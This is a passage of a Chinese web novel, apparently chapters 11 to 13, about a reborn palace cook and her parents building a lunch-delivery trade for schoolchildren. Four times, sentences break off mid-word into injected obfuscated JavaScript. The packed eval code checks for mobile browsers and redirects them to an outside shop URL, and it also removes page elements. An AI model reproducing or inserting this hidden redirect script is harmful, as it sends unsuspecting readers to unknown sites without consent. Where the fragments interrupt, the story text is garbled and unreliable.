此时正是取外卖的时候，四五个孩子一块跑出来。 其中一个小男孩语气中带着炫耀：“我姥姥说了，给我定的是香辣鸡腿堡！还有炸鸡可乐！” “哇，张壮壮你姥姥真好。” 叫张壮壮的男孩子一脸得意：“幸好我让姥姥今天送我！” 要是妈妈送，她肯定不会听自己的点炸鸡可乐。 “你们妈妈中午都点的什么？” “不知道啊，我想吃凉皮，但妈妈说不能点，天气太热了，说会不新鲜。” “我妈妈今天给我点的是面，唉，我其实也比较想吃炸鸡。” “子涵，你呢？” 陈子涵老老实实道：“不知道。” 张壮壮哈了一声：“他肯定是吃青菜啦！” 都是一个班的朋友，陈子涵前段时间因为肠胃炎，所以被父母严格控制了饮食。最近这些天，陈子涵的饭菜总是变着花样的清淡。 小孩子们有几个爱吃清淡的？张壮壮几个光是听听都觉得难受。 几个孩子找到自己的外卖。 “哇，我姥姥点了好几块炸鸡，一会儿咱们一人一块！” 说的一人一块，当然没有陈子涵的份。张壮壮心想，谁让自己妈妈老说陈子涵学习好呢？ 他一会儿要当着陈子涵的面吃炸鸡，馋死他！ “我妈妈点的是拌面，嘤，我不喜欢吃拌面！” “那咱俩换换？我妈妈给我点的炒饭。” “子涵，你妈妈点的什么？” 陈子涵掏出一次性饭盒：“套餐。” 小孩子们顿时唉声叹气起来。 “完了，肯定你的最难吃。” 陈子涵也低着头，很是苦恼。他觉得自己已经好很多了，偏偏妈妈还在让他忌口。眼角余光瞥见张壮壮兴高采烈拆炸鸡包装，陈子涵更难受了。 他也好想吃炸鸡汉堡。 几个小孩子找到一处有一人宽的台面，把各自的餐点放上去。 张壮壮的炸鸡汉堡一掏出来就引得周围孩子们羡慕的眼光，他撕开包装纸，大口咬下汉堡包，小眼睛里尽是得意。 陈子涵也拆开了自己的饭菜包装袋，苦大仇深看着这健康又清淡的一餐。 张壮壮更开心了，嘴里嚼的砸吧砸吧响。 陈子涵打开饭盒…… “哇，子涵你的饭好香啊。” “真的哎，好香。” 陈子涵也觉得意外，刚才妈妈打电话到他的电话手表上，说是定了新的一家外卖。 原来新外卖这么香吗？ 张壮壮吸着可乐，满不在乎：“再好吃也就是米饭炒菜，你们在家还没吃够啊。” “可这个菜真的很香……” 另外两个小男孩目光落在饭盒里，只见里面一格装着浓油赤酱的花生黄豆炖猪蹄，浓稠的酱汁泛着红褐色，上面零星几颗葱花，颜色就像是他们在图画书上见过的那种。 张壮壮气炸了：“有什么香的！这种东西送给我我都不要吃！根本没有炸鸡汉堡好吃！” 陈子涵早就掰开了筷子，不管张壮壮和另外两个小伙伴在说什么，他先夹了一块猪蹄。 炖的软烂的猪蹄，轻轻一咬，就撕开了胶质的外皮…… 旁边两个小伙伴都馋坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16189268|181051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 “好吃吗？好吃吗？” 陈子涵连点头都顾不上了，连吃好几口，嘴巴里塞的满满。 “豪赤！” 他也大方，虽然心里不舍得，但还是往前推了推，做出要跟朋友分享的姿态。 两个小孩欢快的伸出筷子。 “太好吃了！” “哇，这个花生好好吃！” “黄豆也软软！” “别挤我，我吃块茄子！” “这个豆角也不一样。” 张壮壮有些气愤，连嘴里的汉堡都不香了。 陈子涵则闷着头狂吃，生怕自己吃慢了，菜全让小伙伴们吃光。 一盒子饭菜，温母特意把米饭压的实实的，分量足够一个成年人吃。 可在几个小家伙的通力合作下，这盒饭菜很快就被消灭的干干净净。就连最后剩下的猪蹄的汤汁，也被淋在炒饭上，那吃炒饭的小孩眯着眼，吃的格外陶醉。 “太好吃了！” 陈子涵吃的肚子圆圆，跟小伙伴们快乐讨论哪一道菜更好吃。 唯一没吃到菜的张壮壮愤愤咬下一口炸鸡。 不就是盒饭！ 可……好像真的很好吃。 …… “子涵，你妈妈在哪儿订的外卖啊？” 当晚，子涵的妈妈就接到了自己儿子的好朋友家发来的询问。 纵然是接到儿子时候就已经听这小子说了无数遍的“中午的饭好好吃”，但子涵妈妈是真没想到，只不过简单的一餐饭，竟然让这群小孩子都上心了。 她找出今天早上收到的名片拍过去。 “就这家。” 其中一个小孩家长直拍大腿：“早上我就收到这个了，我给扔了！” 这年头推销的多了去了，在街上走一圈能收七八个，多数传单她都是看也不看的。 子涵妈妈顺手把温母的名片转发过去：“我是瞧着这家店怪干净的。” 另一边，张壮壮的姥姥禁不住他闹也打来了电话。 小孙子一回到家就发脾气，非说中午的炸鸡汉堡不好，要吃套餐。 “陈子涵吃的比我好！” 壮壮姥姥皱起眉：“你不是最爱吃炸鸡吗？” 张壮壮直蹦高：“可炸鸡不好吃！我要吃米饭炒菜！” 他可烦陈子涵，但一下午，脑子却全是那个红烧猪蹄。 气的他晚上回来路上就要买猪蹄吃，可吃了两口，他又觉得不对。 根本不是那个味！ “我要吃里面放花生和黄豆的猪蹄！” 壮壮姥姥哪儿会做啊，等到壮壮妈回家，直接送了这一直闹的小崽子两巴掌。 看着哭戚戚的小外孙，壮壮姥姥埋怨起来。 “孩子想吃个猪蹄，你看你咋还打人呢？” 壮壮妈没好气道：“看他蹦跶的烦……妈，你能不能别给他买炸鸡可乐了！你瞅他那体型！” 才小学二年级，人已经朝着横向发展了。 壮壮姥姥理亏，想了一会儿，去找子涵妈妈要联系方式了。 子涵妈妈痛快把名片推荐过来，壮壮姥姥一看，眼前一黑。 这不就是上午她追着问人家要蔬菜检测报告的那家吗？ 壮壮姥姥脸色青一阵白一阵，最后只能顶着一张大红脸，给温母发去了红包。 【你好，我明天订一份餐。】 11.011 温母收到信息时候，仍然还一头雾水。 “壮壮姥姥”二话没说就发来了红包，跟上午的吹毛求疵完全不是一个态度。 “这是怎么了？” 温母拿不定主意，但很快，温母就没有心情再去想这些细枝末节了，因为她的手机连着叮叮叮的响了好几声。 几条如出一辙的验证信息躺在好友申请中。 【你好，我给孩子订餐。】 【订餐，备注信息：星星妈妈】 【订餐】 温母揉揉眼睛，等明白过来发生了什么，激动的都要跳起来！ “老温！老温！” 温母大声喊着温父，迫不及待的分享快乐。 “爆单了！” 可能很多人会觉得一天只有四五单不算什么，但在温母这里，能在未来一个多月的时间里，每天有一份固定收入，这已经是比什么都强的好事。 温父扶着酸痛的肩膀，看到手机上的一条条订餐，也欣慰笑了。 “可太好了。” 温母激动的一条条通过好友申请，然后把人拉到一个订餐群中。 刚进到群里，温母就知道了这些单子哪儿来的了。 那位子涵妈妈似乎跟群里的其他人都认识，几个人进群后就熟稔的打了几声招呼。 倒是那位壮壮姥姥一改上午连发语音的积极，显得有些沉默。 子涵妈妈是一位老师，加入群聊之后很快就改了自己的群备注，标注上自己孩子的名字，然后在群里问道：“@温母，你好，麻烦提前发一下孩子明天的菜单吧？以防咱们群里的小朋友们有谁某样食物过敏。” 她的提醒一下子惊醒了温母，可不是，现在的孩子都娇嫩着呢，是要注意一下过敏的问题。 她赶紧回复谢谢，然后有些着急的去找女儿。 “小梵，明天咱们午餐做什么啊？” 送餐的活不比店里，套餐至少要有个三四样菜，又因为是给孩子吃的，还要考虑到营养均衡。 温梵想了想：“明天……明天吃鸡。” 大夏天的，她跟老爹在后厨忙活，虽说现在也装空调了，但是站在锅灶前哪儿有不热的？ 温梵思来想去，觉得最合适不过做个凉着吃的鸡。 曾经她在宫中时候，每到夏天，就有小皇子小皇女苦夏吃不下东西，而宫里又不是讲理的地方，小皇子小皇女但凡热出个毛病，那跟着的人和御膳房的人都跟着吃挂落。 久而久之，温梵自创了一套适合在夏日吃的食谱，其中最受人欢迎的就是几道凉吃鸡。 简单一点的做法就是做白切鸡，只要鸡选的好，煮完鸡皮脆弹，鸡肉不腥不柴，简单一个红油料汁，浸泡上几个小时就能吃。 但温梵最喜欢的，还是葱油淋鸡。 煮好的鸡肉泼上葱油蒜末，撒上一把白芝麻和葱花，再来一些炸到香酥的花生碎。葱油的香味叫人欲罢不能，鸡肉紧实香滑。 温母让她说的口水都要出来了，打下葱油淋鸡几个字。 “还有三道呢。” “今个买的茄子还没吃完，做个脆皮茄子，另外再炒个番茄鸡蛋，拌个素菜什锦。” 温梵已经摸准了现代社会的脉搏，跟在宫中最大的不同就是，这里的人并不会因为食材的贵贱而去定义这顿饭的好吃程度。 平凡如番茄炒蛋，有时候也未必不如山珍海味。 既然如此，她也不需要一味的去做复杂的菜式，简单，快速，好吃，这才是自家馆子的生存之道。 温母在群里报备上明天的饭菜种类。 几个家长都没有意见。 倒是壮壮姥姥发出了进群之后的第一句话。 【我们家孩子不吃番茄，明天就不要给孩子装番茄炒蛋了，多装一份葱油淋鸡。】 温母自然没什么不好答应的。 可壮壮姥姥一出现，几个家长顿时打起招呼来。 【@壮壮姥姥，还没跟您说一句谢谢呢，我们家星星回来说今天中午壮壮请他吃炸鸡了。】 【是啊，我们孩子本来昨天也闹着要吃炸鸡汉堡，我正说这几天给他点呢。】 简单两句话，温母有些懵。 “她不是说孩子吃的东西要格外注意嘛。” 怎么前脚说要看蔬菜检验报告，后脚又给孩子订炸鸡汉堡，那东西吃了难道比饭菜还健康？ 温母突然福至心灵，有些感叹。 “怕是老人家想多少占点便宜。” 上午那一出，最后哪儿是要报告，不过是想要让她今天白送一份出去。 温母摇摇头：“这真是……” 温母心说这可不算个好榜样。 兴许是被人两句话捅破，群里的消息就停在了这里，后面壮壮姥姥再也没说话。 温母关掉消息界面，兴致勃勃开始算账。 这一算账，今天的收入就很可观了。 煲仔饭因为温梵不再做，后厨就只有温父一个人在忙，因此虽然价格上涨，但是也只卖出去十份。 而温梵做的两个浇头，晚上七点左右就全部卖光。 算上店里和外卖，一共卖了八百多块！ 温母一算账，就觉得温梵说的对，煲仔饭不划算了。 温梵提前炒好浇头的盖浇面盖浇饭，其实翻台率还更快一点。 “不然煲仔饭就算了吧。” 人家专门做煲仔饭的店，后厨都至少是十个八个灶头，那种灶头需要特制，光是为了这一样，去把灶头改了根本不划算。 而现在的三个灶头，一个灶头要空出来给温梵用，另外两个就算是时刻不停歇，一天也就只能买出去几十份。 温父累的肉疼，可还是咬咬牙：“留着吧。” 他想，妻子现在已经担负起店里很多。 昨晚上夫妻两个睡得晚，妻子喃喃自语说自己没文化，到城里来这么些年也没做出什么大成就。 “现在女儿有这个天赋，咱们也该考虑考虑怎么不拖孩子的后腿。” 温梵虽然表现出在厨艺上的先知先觉，但孩子也很用功读书。温母不想让女儿成为只为家里付出的那个。 他们两口子，总要让孩子没有后顾之忧的做出未来的选择。 温母的话让温父想了一晚上。 他想，自己别的不说，就有一点犟劲。曾经在村里跟着大师傅学厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16192762|181051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那大师傅一开始收了十几个孩子，后来七七八八的都走完了。 没别的，只因为这师傅藏私。 入门七八年，师傅做的最多的，就是让他切黄瓜，蓑衣黄瓜咬错交横，温父现在闭着眼睛都能切出一条完美的黄瓜。 他这份傻犟劲，让他成为了师傅唯一一个学出来后进了城开小饭馆的徒弟。 温父看着趴在妻子肩头的女儿，心想，自己只要把煲仔饭学到炉火纯青，后面哪怕女儿去读大学了上班了，他也照样可以养起一家人！ 到时候他就只开一家煲仔饭店。 温母无奈，随丈夫去了。 …… 翌日，温母依旧早早起床。 她觉得昨天发那一次名片还不够，她今天还要去发。不过这次她可谓下本，昨天下班时间早，她紧急去打印店找人做了一百把简易扇子。 扇子上依旧印着那几句话，除此之外还加上了店里的门头和后厨照片，另外多了一份群二维码。 温母：“这样我就不用挨个加联系方式了，只要人都进群，每天在群里报数就好了。” 温母现在满脑子都是这些事，生平第一次，她主动承担起了一个……项目？ 对，温母虽然觉得不好意思，但她觉得只有项目这个词最能形容她的想法。 她随身带着一个本子，时刻想着怎么才能更优化一点。 今年夏天她可以做小饭桌，那明年后年是不是也可以？ 图书馆可以送餐上门，补习班兴趣班可不可以？ 温母激动万分，干劲十足。 温父和她一个比一个起得早，两个人不约而同让温梵多睡一会儿。 温梵这边也开始了自己的漫漫学习路，她按照昨天吴娜的意见，不熟练的在手机上找到了一个视频网站。 吴娜告诉她，网上是有老师免费发视频讲课的。 温梵找到了一个数学老师录制的初中课程，打开之后，她开始照着课程一点点学习做题。 看到时间差不多，温梵就去到店里。 系上围裙，温梵利索的开始煮鸡肉，炸花生，茄子挂糊，鸡蛋打散…… 只见包裹着薄薄淀粉的茄子在油锅里翻个个，很快变成了诱人的金黄色，捞出控油之后再复炸，茄子变得硬挺焦黄。碗中放入白醋白糖生抽耗油，加水搅拌均匀，锅底放入葱蒜干辣椒翻炒，料汁倒入锅里，翻炒均匀直到变得浓稠。 温梵看准时机把炸好的茄子放进去搅拌，关火之前撒一把白芝麻。 香喷喷的酥脆酸甜脆皮茄子就做好了。 每当温梵做菜，温父都会认认真真在旁边观看。 他也学温母随身带着一个本子，记不住的地方随时掏出来记。他有不会的也不问，因为女儿的回答往往都是那么简单粗暴。 “感觉这样放好吃。” 温父也没办法，厨艺一道就是这样，他的师傅也是如此，曾经不过是跟着老地主家做了两三年的菜，也没有人教，全靠自己领悟。 温梵很快做好了饭菜，午餐又开始上人了。 温母抽不开身，在外卖平台上叫了一个跑腿送餐。 “都送到图书馆。” 12.012 赵雨作为高三的班主任，这一年的暑假，她依旧没闲下来。 前几天陆续出了高考成绩，学生报喜的电话一个接着一个，学校也时刻不停关注着学生们的报考信息。 “赵老师，今天上午还是到教学一部三楼。” 校长的电话来的意料之中，今年赵雨的班级出了两名全省前一百，是全校最好的班级。 查成绩的那一晚，校长高兴的都蹦了起来。 作为一个私立高中，从成立之初，就跟公立几所重点别着劲头，今年的成绩，总算是压了那几个老对手。 校长紧急去定了几个红横幅，又马不停蹄找了毕业班的几个班主任，连着几天在学校给家长做咨询。成绩考的好，志愿当然也不能马虎。 赵雨嘱咐儿子陈子涵不要喝凉水。 “你胃刚好，不能瞎吃。” 陈子涵乖乖点头，又忍不住追问赵雨：“妈妈，你说今天中午有脆皮茄子，什么是脆皮茄子啊？” 赵雨给儿子装满一大杯花茶：“妈妈也没吃过。” 陈子涵眼睛亮亮的：“一定很好吃。” 赵雨把这个小馋猫塞进车子：“那你中午好好品尝，晚上给妈妈讲一讲。” 把儿子送去图书馆，赵雨赶去学校。 忙活了一上午，临近中午，几个老师商量着吃点什么。 “要不还是点外卖？” 外面太热了，今年也不知道是不是气候有问题，从六月下旬就开始不下雨。一日旱过一日，每天都是高温天气。 其中一个老师提议去门口吃。 “校门口的小饭店都开着门呢，走几步去店里也一样。” 另一个女老师赶紧摆手：“别，你们想想，他们平时客人多，食材不积压还能新鲜点，一到夏天，想也知道生意不好。” 生意越不好，东西就越不新鲜。 “那你点外卖不也一样？” “点外卖我点那种单子多的呀，就这家就不错，月销量四千。” 女老师上下一划拉：“湘菜小炒肉，点几个菜，再要点米饭和饮料。” 几个老师都点了这家的饭菜。 只有赵雨，她突然想起昨天给儿子订餐的那一家。 “你们点吧，我自己看看。” 她点开温母的朋友圈，背景图上写着饭馆的名称和地址。 赵雨心想，儿子既然说好吃，她也尝尝？ 可在外卖界面上下扒拉了好一会儿，赵雨都没找到这家店。最后还是在按照名字搜索，才蹦出来一个评分空白的店铺。 “……刚开的？” 赵雨又觉得不对，那天看到温母发的后厨照片，虽然干净，但也有使用痕迹。 再点开详情，赵雨更迷茫了。 “这位置，怎么这么近啊。” 旁边的女老师凑过来看：“这家啊，就学校对面那条街的店，去年新开的。顺着街边往里走，倒数第二家。你平时老吃食堂，估计没去过。” 赵雨有点啼笑皆非，自己绕了一个大弯子，最后竟然还吃到自己学校对面去了。再翻看了一下评论，寥寥几条，还有好几条是同一个人发的。 “赵老师，你吃这家的啊？” “对，我给我儿子订了他家的餐，我儿子说挺好吃的。” 女老师：“……真的假的哦，这家就是卖盖浇饭和盖浇面，干净是干净，就是吃起来跟食堂没差。” 赵雨随手在外卖上选定了一份番茄鸡蛋盖浇面。 “尝尝吧，估计就是家常味道。” 赵雨把自己的期待值调低，反正番茄鸡蛋这种菜，再难吃还能难吃到哪儿去？ 她不知道吃什么时候就爱点这个，不容易踩雷。 单子来的很快，外卖骑手甚至都没骑车，直接把车子丢在饭馆门口，步行就送到了学校。 “您的餐。” 赵雨接过外卖盒，推门进了办公室。 其他几个同事的餐也紧随其后就到。 “嘿，还挺快的，五分钟就取完餐了。” 女老师说完，那骑手的脸色有一点欲言又止。 赵雨刚好从卫生间回来，跟骑手擦肩而过时候听到那小伙子嘀咕。 “五分钟就能出餐的饭店……有啥值得高兴的？” 赵雨：…… 女老师招呼大家在一张干净的办公桌上吃饭。赵雨识趣的没把刚才骑手的话讲出来。 湘菜的味道带着一点冲鼻子的香辣，外卖盒一打开，几个老师都觉得有点饿。 “瞅着还行。” 辣子鸡丁，鲜红的干辣椒段里，是炸到香酥的鸡丁。 辣椒炒肉，青辣椒软趴趴的，猪肉片又薄又焦，碗底洇了一层厚厚的底油。 还有一道外婆菜，看着黑乎乎的，倒是可以预见的下饭。 这几道菜甭管味道如何，最起码摆出来还是好看的。 忙活了一上午，几个老师下了筷子，只觉得咸香辣的味道一冲，配上米饭，也算得上好吃。 “赵老师你也尝尝。” 赵雨不太能吃辣，一看到那红红的几道菜，顿时连连摆手。 “我吃自己的。” 温家的外卖盒格外简单，就是一个透明的圆形大盒子，番茄炒鸡蛋在里面铺了半碗，还有一个塑料袋里装着煮好的面条。 既没有国潮盒子，也没有硬挺好看的包装袋。 赵雨把塑料袋里的面条倒进一次性饭盒，原本看着卖相差的叫人没胃口，但等到面条在碗里挂上浓郁的番茄汁，一切顿时不一样了。 炒的保留了部分形状，但边缘已经化掉的番茄和鸡蛋融成一团，黄澄澄的鸡蛋沾上了茄红的酱汁，颜色鲜亮诱人。尤其是那一股酸香，在翻拌开面条的一瞬间，就扑进了鼻腔。 赵雨精神一振，先挑起一筷子面。 酸甜的味道在嘴巴里绽开，原本吃不惯甜口番茄炒蛋的赵雨一时也说不出什么话。 女老师也早闻到了这股酸甜香味，盯着赵雨只是尝了一口面条就舒展开的眉间。 “……赵老师，好吃吗？” 赵雨一抹嘴，有点歉意：“好吃！就是面条汤汤水水的，我就不让大家了。” 说着，赵雨快速的把面条吸入嘴巴。 其他几个同事不约而同咽了一口唾沫，再回过头看自己的饭菜。 索然无味。 虽说五味没有高低上下，但被番茄炒蛋的酸甜一冲，这几道咸辣的菜就显得那么……浅薄。仿佛是简单烹饪就送上来的菜，刚才还觉得开胃的香辣，一瞬间就变成了糊弄肚子的样子货。 女老师捣捣碗里的米饭，干笑了一声：“那一家肯定是换厨子了。” 之前她也去光顾过几次，番茄炒蛋她又不是没吃过。 绝对没有这个味道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16201444|181051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！ 到最后，几个人都没把三道菜吃完，女老师还追问赵雨说的给孩子订餐是怎么回事。 赵雨把吃的精光的饭盒丢出去，然后解释起来。 另一个老师一拍大腿：“你早说啊，我们家那个也在图书馆泡着呢！” “来来来，你把群推荐给我。” 赵雨满头问号：“王姐，你孩子不是已经毕业了吗？” 王老师挥挥手：“上个月毕业了，这不是考公呢嘛，现在也是每天去图书馆抢座位。” 赵雨：…… 王老师满不在乎：“小饭桌又没说非得限制岁数，再大也是孩子么。” 王老师顺利加上温母的群，兴冲冲给自家备考的孩子也订上小饭桌。 而另一边，真正吃小饭桌的孩子们今天中午依旧不太平。 张壮壮今天虽然吃到了巨好吃的葱油淋鸡，以及酸酸甜甜的脆皮茄子，但看到其他几个小朋友饭盒里都有番茄炒蛋时，他的天都要塌了。 “呜呜呜，凭什么不给我装番茄炒蛋……” 尤其是看到陈子涵把番茄炒蛋盖在米饭上吃，几个人都吃的一脸满足，张壮壮更破防了。 “呜呜呜，我要跟我姥姥说。” 张壮壮等不到下午回家了，他对着电话手表就打给姥姥。 都是一样订的餐，为什么他的菜不全！ 温母只觉得奇怪，午饭的点都过了，那个壮壮姥姥不知道为什么突然又在群里问她能不能单独送一份盖浇饭过去。 还特意要求是番茄鸡蛋盖浇饭。 她茫然在群里打字。 【壮壮姥姥，您不是说孩子不吃番茄吗？】 壮壮姥姥半晌没说话，良久，她私发给温母一个红包。 温母点开，里面是二十块。 壮壮姥姥的语音紧随其后，声音里不再像前天那样咄咄逼人。 “老板娘，孩子看到别人的饭眼馋……往后不用给我们特殊对待了。” 温母皱着眉头把红包还回去，也发了语音。 二十块太多，盖浇饭是店里本来就有的品种，店里现在还有几份，可以直接从外卖平台下单。 关了手机，温母过了一会儿，突然笑了。 温梵正偷偷摸摸把偷到的可乐藏书包里，温父瞅见女儿的举动，却悄悄站到前面给她遮挡。 “你笑什么呢？”温父没话找话。 温母摆摆手，想想还是觉得怪逗的：“就是觉得……聪明反被聪明误。” 手机滴滴了几声，温母眼神一亮。 那个订餐群里，瞬间又多了四个人。 看着群成员变成十，温母的心情大好。 不过她也开始有了点主意，跟女儿提议把中午的两荤两素变成两荤一素。 “店里的饭盒也用完了，我再买就买那种三个格的，然后中午再加一份水果。” 夏天瓜果便宜，素菜炒起来是不麻烦，但女儿中午总嘀咕不能提前做。素炒做的再好，半个小时之后也要大打折扣。 与其如此，不如减少一个素菜，加一份西瓜或者是哈密瓜。 温母征得女儿同意后，在群里也做了说明，顾客们都表示同意。 于是第二天，温母就让温父买回来一大袋子西瓜。 温梵看到西瓜的一瞬间，突然想到了什么。 “妈，给我留几个西瓜。我有用。” 13.013 日子渐渐步入正轨，温梵就又想起了上辈子自己做的那些酱料果酒。 曾经宫宴上有大臣奉承皇上开心，皇帝就大手一挥赏出去过几次。就是那些赏出去的东西，后来在宫外流传开，竟然风靡一时。偶有一两次小太监们来奉承温梵，说是在宫外见到了照着那几样酱料做的酱料铺子。 味道自然不如宫里的，但是挂着一个隐晦的“从宫里出来”的名头，竟然卖的挺好。 温梵上辈子听到这个消息时候叹息一声，她二十五岁那一年，也曾动过出宫的心思，只是还没往上报，皇后身边的大太监就一副恩赐的口吻来传了口谕，说皇后念及她伺候有功，特赐她留在宫中。 温梵没有拒绝的权利，她的未来一眼望到头。 没了出宫的指望，温梵只好重新打算未来的生活，她甚至已经在新进宫的小宫女中择选，打算收几个亲传的徒弟。 只是徒弟还没收，她就出了事…… 温梵甩甩头，不再去想那些红墙中的往事。 她整理了上辈子广受好评的几样酱料，大多数现在做不了。皇帝再怎么说也是富有四海，番邦进贡的也有很多奇珍异果。有些原材料，温梵都不确定现在还有没有。 数来数去，现在能做的，就只有西瓜酱豆。 黄豆泡发，差不多之后下料水锅里煮，煮好的豆子控水裹面，然后放在簸箩里发酵。 温梵做完这些，才腾出手做今天的饭菜。 昨晚上定下的菜单，今天要吃水煮肉片。 里脊肉切成柳叶片，盐葱姜花椒水分几次倒入肉片里打水，肉片打水之后变得光滑柔嫩，再加入一点水淀粉，封上一层薄油让肉入味。锅底烧热，宽油放入各色香料，尤为重要的是几样辣椒。 炒到汤底红油出现，辣椒味道呛的满屋子都是的时候，温梵这才把刚才醒好的肉片放入汤底中，轻轻翻搅几下就可以出锅了。 最后再用热油浇在蒜末葱花花椒上，滋啦一声，宣告这道菜的结束。 温母被辣到睁不开眼睛，两眼红红将饭菜打包。 今天的饭菜数量多了起来，来取餐的骑手面露难色。 “这也太多，我的箱子都要放不下了。” 温母满怀歉意跟对方道歉，送了对方一份盖浇饭，这才顺利让餐送出去。 “要不找个稳定的送餐暑假工吧？” 眼看着暑假的生意一天比一天红火，外卖平台的抽成却让温母心疼。不管是纯平台的外卖，还是叫的跑腿，每一单都要分给平台不小的份额。跑腿的价格本就不便宜，等单子多起来，一次还送不完，多跑几次，配送费都是问题了。 可招一个全职工，温母又觉得不至于。 自家的买卖还不知道能不能干大呢，就算是这几天，也不过是一天四五百的挣头。是比原来多了，可开学还不知道怎么样。 温母越想越觉得，找个稳定的骑手是最合适。 可找谁也是问题，不认识的人她不放心，于是温母主动问起了来光顾生意的街坊们。 温家的饭馆左右两边都有店，左边是街道的尽头，开着一个药店，右边是学校的方向，是一个小卖部。 三家既没有生意竞争，又经常碰上，一来二去，温母跟两家都熟悉的很。 药店经常来吃饭的是这家的女儿，叫曲晴晴，比温梵大几岁，卫校毕业之后就守起了自家的药店，之前来的次数不多，最近几天倒是每餐都来报道。 小卖店的老板娘倒是跟温母年岁相仿，叫宋慧。胖墩墩的，看着就是个富态厚道人。 温母主要问的就是这两个，两家的房子都离得不远，对这一片的熟悉程度远超温母。 宋慧一听就直拍大腿。 “你早说啊！我家那个，最近每天都在家躺着，日夜颠倒的跟黄鼠狼似的。他就很合适！” 宋慧一点没有对儿子的心疼，话语里满是怕温母定下来的着急，拉着温母一顿吐槽。 “每天都是晚上打游戏，白天睡大觉，今早上我起床一看厨房，差点以为是叫人给偷了。一屋子都是乱七八糟的。给这小子薅起来问，他说是昨晚上太饿，自己做了点吃的……” 宋慧愁的没办法，儿子前几天刚把驾照考完，考完之后就没事做了。这个点找兼职也找不到，只能看他在家里瘫泥。 宋慧正喋喋不休的时候，曲晴晴也两眼放光。 “别啊慧姨，你要这么说，我弟弟也合适啊。他刚考完，最近正没事干呢。” “你弟还没报志愿吧？” “他那成绩，一点悬念没有，本地大专走起。我爸妈这几天看他不顺眼，这小子再在家待几天估计就要发配乡下了。” 宋慧眼珠子一转：“你弟满十八了？” 曲晴晴卡了下壳，又说道：“就这几天了，再说满十六就能打工，差什么？” 宋慧：“晴晴啊，别给你弟上压力了，好不容易能休息休息喘口气，这个暑假还是歇着吧。” 曲晴晴：“还歇，他考这个分数，这几年也没少歇。高中这三年过的美着呢。” 温母，宋慧：…… 最终还是温母拍板。 “那让孩子都来吧，我这个店就是单子少点，主要就是中午送到图书馆的餐多，慧姐，晴晴，我也不多说，管中午晚上两顿饭，包月一个孩子一千块行不？” 温母还是第一次跟人这样谈，话说出口，心就扑通扑通跳，又怕自己说的少，又怕两人觉得少，街坊没办法相处。 谁知道宋慧和曲晴晴两眼冒光：“就这么定！” 一千块钱少吗？是少点，可也不看看温母的店才多大。本来宋慧和曲晴晴两家就不图让孩子干太累，每天饭点出去跑一跑，还管两顿饭！ 宋慧迫不及待就要回去找儿子说。 “我替这臭小子应了，挣多挣少无所谓，只要别白天黑天的这样颠倒下去就行！” 曲晴晴更是直接低头，噼里啪啦一发信息，不用看回复就说：“曲晓宇没问题，等会儿就到店里。” 温母干笑一声，觉得那头的曲晓宇只怕是没有说不的权力。 温母把外卖平台的平台配送关掉，选择了自行配送。不过刚选完，她就发现了不对劲。 原本店里是没有任何优惠活动的，可是不知道什么时候，平台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16206048|181051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自家的店铺下挂着一个“满二十五减十”的活动标识。 温母再看后台收益，果不其然，刚才单子突然多了五单，不过每单都是凑了满减，算下来，比店里便宜太多。更过分的是，后台显示扣款五百，是购买推流的费用。 温母电话打给之前推销的推销员：“你好，我们没有参加活动，为什么突然出现了平台活动？” 推销员打马虎眼：“咱们是新店啊，这几天我也看了，咱们的评价很不错，就是差一点流量。平台也是为了你们考虑才上了活动，每天稳定推流三千，后面咱们的单子肯定能一天比一天多……” 温母皱眉：“我们暂时没有上活动的打算。” 现在店里的单子就是三个方面，一个是堂食，每天饭点都能坐满，一个是图书馆外送，单子也在稳步增长中，还有一个外卖。 其实这几天温母早发现了外卖平台的问题。明明一开始的评价都不错，但是单子就是不涨。每天平台出单也就是七八单，还有顾客说在外卖平台上找不到他们的店。 温母心知这是她不开活动，所以得不着平台流量的原因。但她还是压着怒火：“麻烦你把优惠下架了吧，我们店不上满减。” 那边的推销员欲言又止，电话很快换了一个人来接听。 